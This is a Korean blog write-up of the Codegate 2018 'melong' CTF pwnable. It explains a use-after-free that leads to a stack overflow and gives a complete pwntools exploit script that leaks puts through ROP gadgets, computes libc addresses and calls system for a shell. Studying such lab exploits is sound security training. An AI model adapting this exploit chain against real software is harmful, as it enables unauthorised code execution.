ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2018 melong
    Pwnable/CTF 2018. 2. 7. 22:40

    문제에서 1번메뉴를 보면 check your bmi로 시작하는데 안에서 calc함수를 호출하고 _muldf3 <- 이런 비슷한 함수들을 호출하는데 mul은 곱하기 div는 나누기 말 그대로 bmi를 구하는 공식이다.

    weight / (height*2)
    그리고 get_result함수에서 여러가지 이름바껴있는 함수들이 호출되는데 분석이 너무 귀찮아보인다.

    이곳에서는 첫 번째 bmi계산은 exc에 두 번째는 exc2 전역변수에 주소가 들어간다.

    대충 동적분석을 해보면 내가 나온 bmi크기 기준으로 할당이 되게된다.

    exercise함수는 첫 번째라면 exc free, 두번째라면 exc2를 free시킨다.


    PT함수에서는 내가 입력한 사이즈로 할당을 시키고 exc2하고 비교를 하는데 같으면 return size를 해준다.

    취약점 함수인 write diary에서 위에서 return된 size만큼 스택에 데이터를 넣게된다.

    PT를 이용하여서 할당을 몇개해주면서 얼마나되는지 보면 120이상도되고 큰값들이 exc2에 UAF가 되면서 주소가 같아지면서 write diary함수에서 오버플로우 취약점이생긴다.


    이번 공격방법은 내가 코게에서 BaskinRobin31풀때 사용한것처럼 릭을하고 메인 pc조작 후 rtl을 하여서 풀었다.

    puts를 이용하여서 릭을하고 바로 아래 스택이 pc가 될줄알았는데 core을 분석해보니 그 곳을 기준으로 r4 r5 등 레지스터들이 값을 가지게된다.


    core분석은 gdb-multiarch를 이용하여서 할수있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    from pwn import *
     
    p=process('./melong')
    elf=ELF('./melong')
     
    def check(height,weight): #weight / height**2
        p.sendlineafter(':','1')
        p.sendlineafter(': ',str(height))
        p.sendlineafter(': ',str(weight))
     
    def exercise():
        p.sendlineafter(':','2')
     
    def register(size):
        p.sendlineafter(':','3')
        p.sendlineafter('ing?',str(size))
     
    def write(data):
        print p.sendlineafter('number:','4')
        sleep(0.5)
        p.send(data)
     
    pop_r0 = 0x00011bbc #pop r0,pc
    pop_r3 = 0x00010460 #pop r3,pc
    pop_r7 = 0x00011d28 #pop {r4, r5, r6, r7, r8, sb, sl, pc}
     
    check(1,1#exc
    check(1,39# exc2
    exercise()
    p.recvuntil('lose weight')
    for i in range(14):
        print p.recvline()
        sleep(1)
    p.recvuntil('weight !!')
    register(129#error 
    register(129)
    for i in range(129):
        print p.recvline() + '%d' %i
        sleep(1)
     
    payload = 'A'*84
    payload += p32(pop_r0)
    payload += p32(0x0002301C#puts_got
    payload += p32(0x104a8)
    payload += 'A'*8 #r4,r5
    payload += 'B'*4 #r6
    payload += 'C'*4 #r7
    payload += 'D'*4 #r8
    payload += 'E'*4
    payload += 'F'*4
    payload += p32(0x110cc)
    print len(payload)
    write(payload)
    p.sendlineafter('number:','6')
    p.recvuntil('again :)\n')
    puts = u32(p.recv(4))
    libc_base = puts - 0x5e770
    system = libc_base + 0x38634
    cmd = libc_base + 0x12121c
    print hex(puts)
    print hex(libc_base)
    print hex(system)
    print hex(cmd)
     
    check(1,1#exec
    check(1,39# exec2
    exercise()
    p.recvuntil('lose weight')
    for i in range(14):
            print p.recvline()
            sleep(1)
    p.recvuntil('weight !!')
    register(97#error 
    register(97)
    for i in range(97):
            print p.recvline() + '%d' %i
            sleep(1)
     
    payload = 'A'*84
    payload += p32(pop_r0)
    payload += p32(cmd)
    payload += p32(system)
    write(payload)
    p.sendlineafter('number:','6')
     
    p.interactive()
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2015 final yocto  (0) 2018.02.21
    Codegate 2018 zoo  (0) 2018.02.11
    코드게이트 2018 풀이 보고서  (0) 2018.02.07
    Codegate 2018 SuperFTP  (0) 2018.02.05
    HITCON CTF 2017 ragnarok  (0) 2018.02.01
Designed by Tistory.